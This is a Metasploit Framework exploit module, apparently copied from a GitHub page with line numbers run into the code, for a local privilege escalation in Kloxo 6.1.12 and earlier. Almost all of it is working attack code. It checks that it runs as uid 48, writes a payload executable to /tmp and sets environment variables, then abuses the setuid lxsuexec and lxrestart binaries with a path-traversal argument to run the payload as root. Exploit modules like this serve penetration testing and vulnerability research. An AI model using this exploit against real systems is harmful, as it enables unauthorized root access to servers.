Path: blob/master/modules/exploits/linux/local/kloxo_lxsuexec.rb
33008 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Exploit::FileDropper1112include Msf::Exploit::Local::Linux1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Kloxo Local Privilege Escalation',20'Description' => %q{21Version 6.1.12 and earlier of Kloxo contain two setuid root binaries such as22lxsuexec and lxrestart, allow local privilege escalation to root from uid 48,23Apache by default on CentOS 5.8, the operating system supported by Kloxo.24This module has been tested successfully with Kloxo 6.1.12 and 6.1.6.25},26'License' => MSF_LICENSE,27'Author' => [28'HTP', # Original PoC according to exploit-db29'juan vazquez' # Metasploit module30],31'Platform' => [ 'linux' ],32'Arch' => [ ARCH_X86 ],33'SessionTypes' => [ 'shell' ],34'Payload' => {35'Space' => 8000,36'DisableNops' => true37},38'References' => [39[ 'CVE', '2012-10022' ],40[ 'EDB', '25406' ],41[ 'OSVDB', '93287' ],42[ 'URL', 'http://roothackers.net/showthread.php?tid=92' ] # post referencing the vulnerability and PoC43],44'Targets' => [45[ 'Kloxo 6.1.12', {} ]46],47'DefaultOptions' => {48'PrependSetuid' => true49},50'DefaultTarget' => 0,51'Privileged' => true,52'DisclosureDate' => '2012-09-18',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58}59)60)61end6263def exploit64# apache uid (48) is needed in order to abuse the setuid lxsuexec binary65# .text:0804869D call _getuid66# .text:080486A2 cmp eax, 4867# .text:080486A5 jz short loc_80486B6 // uid == 48 (typically apache on CentOS)68# .text:080486A7 mov [ebp+var_A4], 0Ah69# .text:080486B1 jmp loc_8048B62 // finish if uid != 4870# .text:08048B62 loc_8048B62: ; CODE XREF: main+39j71# .text:08048B62 ; main+B0j72# .text:08048B62 mov eax, [ebp+var_A4]73# .text:08048B68 add esp, 0ECh74# .text:08048B6E pop ecx75# .text:08048B6F pop esi76# .text:08048B70 pop edi77# .text:08048B71 pop ebp78# .text:08048B72 lea esp, [ecx-4]79# .text:08048B75 retn80# .text:08048B75 main endp81print_status("Checking actual uid...")82id = cmd_exec("id -u")83if id != "48"84fail_with(Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")85end8687# Write msf payload to /tmp and give provide executable perms88pl = generate_payload_exe89payload_path = "/tmp/#{rand_text_alpha(4)}"90print_status("Writing payload executable (#{pl.length} bytes) to #{payload_path} ...")91write_file(payload_path, pl)92register_file_for_cleanup(payload_path)9394# Profit95print_status("Exploiting...")96cmd_exec("chmod +x #{payload_path}")97cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")98cmd_exec("export MUID=$LXLABS")99cmd_exec("export GID=$LXLABS")100cmd_exec("export TARGET=/bin/sh")101cmd_exec("export CHECK_GID=0")102cmd_exec("export NON_RESIDENT=1")103helper_path = "/tmp/#{rand_text_alpha(4)}"104write_file(helper_path, "/usr/sbin/lxrestart '../../..#{payload_path} #'")105register_file_for_cleanup(helper_path)106cmd_exec("lxsuexec #{helper_path}")107end108end109110111